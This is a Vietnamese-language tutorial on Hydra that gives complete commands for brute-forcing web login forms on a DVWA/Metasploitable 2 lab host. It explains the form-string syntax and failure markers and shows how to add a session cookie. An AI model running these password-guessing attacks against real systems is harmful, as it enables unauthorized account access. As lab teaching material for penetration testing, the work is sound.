Hydra: Bruteforce Username/Password

Installation
Mặc định công cụ này đã được cài đặt sẵn trong Kali hoặc bạn có thể tải công cụ bằng cách sau:
sudo apt install hydra
Demo
Hướng dẫn sau được thực hiện với Metasploitable 2 bruteforce Username | Password
Demo 1


hydra 172.16.1.17 http-form-post "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed" -L Desktop/user_list.txt -P Desktop/pass_list.txt
Giải thích:
# HTTP forms
hydra -L <users_file> -P <password_file> <url> http[s]-[post|get]-form \
"index.php:param1=value1¶m2=value2&user=^USER^&pwd=^PASS^¶mn=valn:[F|S]=messageshowed"
Các đối số sẽ cách nhau bằng dấu ":". Tuỳ thuộc vào từng trang web thì câu lệnh cũng sẽ có những thay đổi khác nhau.
Lưu ý: “/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login
:F=Login failed“
F: failure string - thông báo lỗi
S: success string - thông báo thành côngNếu không chỉ định parameter F/S thì default là
Fnhư bên dưới:hydra 172.16.1.17 http-form-post "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -L Desktop/user_list.txt -P Desktop/pass_list.txt # Default Failure string (:F)

Demo 2


hydra 172.16.1.17 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect." -L Desktop/user_list.txt -P Desktop/pass_list.txt

Kết quả cho ra tất cả mẫu thử đều đúng. Điều này xảy ra do ta chưa cung cấp đủ đối số để Hydra có thể check chính xác → thêm cookie

H=Cookie\\: security=low; PHPSESSID=${SESSIONID}
hydra 172.16.1.17 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\\: security=low; PHPSESSID=a69f564299c85cb655ca466d4b330bea:F=Username and/or password incorrect." -L Desktop/user_list.txt -P Desktop/pass_list.txt

Lưu ý: Nên để
giá trị thông báo trạng tháiở vị trí cuối cùng trong chuỗi lệnh:"/dvwa/vulnerabilities/brute/
:username=^USER^&password=^PASS^&Login=Login
:H=Cookie\: security=low; PHPSESSID=a69f564299c85cb655ca466d4b330bea
F=Username and/or password incorrect."




